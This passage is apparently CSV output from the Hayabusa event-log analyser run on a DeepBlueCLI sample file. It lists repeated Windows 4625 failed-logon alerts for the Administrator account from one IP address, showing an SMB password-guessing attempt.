NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: axeCxygvJ4zL4Xoq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.809 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y64sc51Y7vbiFTIQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.853 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o395tRQcfRBTTCSF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.892 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: K1R4wlYWS4SkM3dF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.938 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RsZy0Yjvk720Mu22 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c8RusStjhReKBmS0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.026 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eJuPYLTcGaGvErLg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.069 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: raCbua01mzU1Djuf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Fnt8atAbMtxXivUs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.165 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: psokvQJyMn5m5rMh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.210 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wTPGqOITsOhpTgIF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xxhGrLzhwNziihc9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.296 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UIb1lHuPaC62UlBp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.338 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2uvXuLIR9yvmWngF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.382 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MI35CCybjNtntfwo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.426 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0GTJfOkk0fUC5YCX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.456 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jk6PsiAiLPsHGUh1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.496 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KeGDMp9My5eLJz55 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.541 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BvDQphjvwOCsNQqB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.592 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sbJhad4aocvPMYVP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.635 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SJl3XqTUxvqiKKaG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.693 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a1fAJDfguuoNxWiR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: daAeGcsqoqERsEu6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.908 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0iynnwxS8v4C5b3E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.955 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2kU7IS4XCvgRpTff : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.999 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MBC8AJXBQHrCMrO2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.049 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NSGraDQmI4MAq9Ls : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B7u2Pb9y8hB0iYWh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.132 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: A657rbd6k4AD7M4i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7rkiDUBuTCU2jDXR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.224 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jjsCFTQoobrkQoWF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.273 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2dNXav95nZyBhVOc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Yeq1x56Ct6R2Nu3J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.359 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pUwyCNtwydEQu2bd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bX7eihAOk3PUgbwM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.442 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WPXqAsaYaXEr8I9L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.480 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4SaEmIpmlH1VMDun : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.534 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a3Dvp43a2h7Mzx2H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.575 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g3voKlRXc7rIaIYs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GF1Q5OhCLRAi96mN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.669 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: caHe4iY2CQoiumQI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.734 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SJi6UAm6Pp6eax8Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.784 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2EW0t2wapD8yniO4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.872 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PnaITXTihpB0stwx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.913 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tdBVoa82WKEAW2ce : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.953 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BelKzJrEjGIcU2dN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ujeb7fRHPGCGmFm2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.060 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Czwt7KF2sQHemwdJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.117 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LQQ4nNpbfKKVCJZH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.157 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6jwIc6e0AHAhXKK5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.200 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Nld9Job0Ll1Fgtmy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.242 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q9sS6i9iU3PXhokz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: heaYv6Np8swhoVc9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.334 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I7rzgNBtUJkS93pO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.381 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gh45suNQ09FzPBjd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.431 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BOnwAGxxz994k6Ee : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.474 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L26mvUKOgGptcKaZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.517 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aqldRjcLl8KFZr5h : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.569 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ycNPBtmRHShPOcRA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.617 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ISlMGsVvXry0rbju : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MjGjh70EQ5YVGJUt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.700 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yaYM5N2kuvuRCHRU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.738 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 32wgj2t7BLBviVxd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.789 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vr1kMRxLEaCIWIbf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.832 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4PHEJyKgp5wXRtBk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dbaoz8rTZVXUjRAg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.928 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d4eD3JQ5gquIqgND : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.969 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U9slFFSSXhFxPqG1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.009 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YDb5Up4KwJj0hN5n : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.063 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DxqIpDLlnf6Xyc34 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.106 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rTCTTYmKTIzzJwxH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.145 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oD3dLxlB3qWIhZEQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Fe9xMOoCxPJIIyVq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.246 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DW3YgBZYiGTeEw66 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:11.293 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VAKeeIcOeiQ3H9NF : IP Address: 192.168.198.149 : AuthPackage: 